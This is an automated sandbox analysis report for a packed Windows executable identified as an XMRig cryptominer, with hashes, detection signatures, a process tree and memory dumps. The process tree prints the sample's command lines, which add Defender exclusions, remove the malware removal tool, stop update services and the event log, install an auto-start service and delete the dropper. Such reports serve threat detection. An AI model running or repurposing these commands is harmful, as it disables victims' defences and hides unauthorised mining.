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Analysis

  • max time kernel
    155s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/03/2024, 01:07

General

  • Target

    c93b7adbca782227238b433836fce87fc21927d590dda5401fd0b8fd2b9a8816.exe

  • Size

    5.1MB

  • MD5

    80d925050159e9a4db249e9b5242629a

  • SHA1

    710322120a60664f35a98a902f8a8d4977039b95

  • SHA256

    c93b7adbca782227238b433836fce87fc21927d590dda5401fd0b8fd2b9a8816

  • SHA512

    337167fc67bf2d9d001e8e03b2cfdc3e278c6176daf9d3474bf9bf58e315f25227e2c4ad42c9bad6224e258b672df6c6122cf8a883ee37dd3f1801b12f641419

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • UPX dump on OEP (original entry point) 17 IoCs
  • XMRig Miner payload 13 IoCs
  • Creates new service(s) 1 TTPs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 18 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c93b7adbca782227238b433836fce87fc21927d590dda5401fd0b8fd2b9a8816.exe
    "C:\Users\Admin\AppData\Local\Temp\c93b7adbca782227238b433836fce87fc21927d590dda5401fd0b8fd2b9a8816.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2260
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3192
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:840
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:3644
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2408
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4420
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4056
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:4984
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4640
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3788
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2788
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:488
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:1932
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:1104
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:1884
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:1740
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\c93b7adbca782227238b433836fce87fc21927d590dda5401fd0b8fd2b9a8816.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3016
      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2200
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3400
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3644
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:4352
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:2500
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:3324
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:2120
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:2284
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:1596
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:216
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2620
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:8
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3188
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:4760
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2060

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

            Filesize

            5.1MB

            MD5

            80d925050159e9a4db249e9b5242629a

            SHA1

            710322120a60664f35a98a902f8a8d4977039b95

            SHA256

            c93b7adbca782227238b433836fce87fc21927d590dda5401fd0b8fd2b9a8816

            SHA512

            337167fc67bf2d9d001e8e03b2cfdc3e278c6176daf9d3474bf9bf58e315f25227e2c4ad42c9bad6224e258b672df6c6122cf8a883ee37dd3f1801b12f641419

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4topinen.hdi.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/2060-79-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-73-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-65-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-64-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-63-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-67-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-86-0x00000278248D0000-0x00000278248F0000-memory.dmp

            Filesize

            128KB

          • memory/2060-85-0x00000278243C0000-0x00000278243E0000-memory.dmp

            Filesize

            128KB

          • memory/2060-84-0x00000278248D0000-0x00000278248F0000-memory.dmp

            Filesize

            128KB

          • memory/2060-83-0x00000278243C0000-0x00000278243E0000-memory.dmp

            Filesize

            128KB

          • memory/2060-82-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-68-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-81-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-80-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-69-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-66-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-71-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-76-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-75-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-74-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-77-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-72-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/2060-78-0x0000027824890000-0x00000278248D0000-memory.dmp

            Filesize

            256KB

          • memory/2060-70-0x0000027824350000-0x0000027824370000-memory.dmp

            Filesize

            128KB

          • memory/3192-11-0x00000221D8050000-0x00000221D8060000-memory.dmp

            Filesize

            64KB

          • memory/3192-9-0x00000221DA1D0000-0x00000221DA1F2000-memory.dmp

            Filesize

            136KB

          • memory/3192-10-0x00007FFC4A2D0000-0x00007FFC4AD91000-memory.dmp

            Filesize

            10.8MB

          • memory/3192-16-0x00007FFC4A2D0000-0x00007FFC4AD91000-memory.dmp

            Filesize

            10.8MB

          • memory/3192-13-0x00000221D8050000-0x00000221D8060000-memory.dmp

            Filesize

            64KB

          • memory/3192-12-0x00000221D8050000-0x00000221D8060000-memory.dmp

            Filesize

            64KB

          • memory/3400-43-0x000001DEFA520000-0x000001DEFA5D5000-memory.dmp

            Filesize

            724KB

          • memory/3400-42-0x000001DEFA500000-0x000001DEFA51C000-memory.dmp

            Filesize

            112KB

          • memory/3400-20-0x00007FFC4A380000-0x00007FFC4AE41000-memory.dmp

            Filesize

            10.8MB

          • memory/3400-26-0x000001DEF7F30000-0x000001DEF7F40000-memory.dmp

            Filesize

            64KB

          • memory/3400-31-0x000001DEF7F30000-0x000001DEF7F40000-memory.dmp

            Filesize

            64KB

          • memory/3400-32-0x00007FF493390000-0x00007FF4933A0000-memory.dmp

            Filesize

            64KB

          • memory/3400-44-0x000001DEFA5E0000-0x000001DEFA5EA000-memory.dmp

            Filesize

            40KB

          • memory/3400-54-0x00007FFC4A380000-0x00007FFC4AE41000-memory.dmp

            Filesize

            10.8MB

          • memory/3400-51-0x000001DEF7F30000-0x000001DEF7F40000-memory.dmp

            Filesize

            64KB

          • memory/3400-50-0x000001DEFA780000-0x000001DEFA78A000-memory.dmp

            Filesize

            40KB

          • memory/3400-49-0x000001DEFA770000-0x000001DEFA776000-memory.dmp

            Filesize

            24KB

          • memory/3400-48-0x000001DEFA740000-0x000001DEFA748000-memory.dmp

            Filesize

            32KB

          • memory/3400-47-0x000001DEFA790000-0x000001DEFA7AA000-memory.dmp

            Filesize

            104KB

          • memory/3400-46-0x000001DEFA730000-0x000001DEFA73A000-memory.dmp

            Filesize

            40KB

          • memory/3400-45-0x000001DEFA750000-0x000001DEFA76C000-memory.dmp

            Filesize

            112KB

          • memory/4760-57-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4760-62-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4760-58-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4760-59-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4760-55-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/4760-56-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB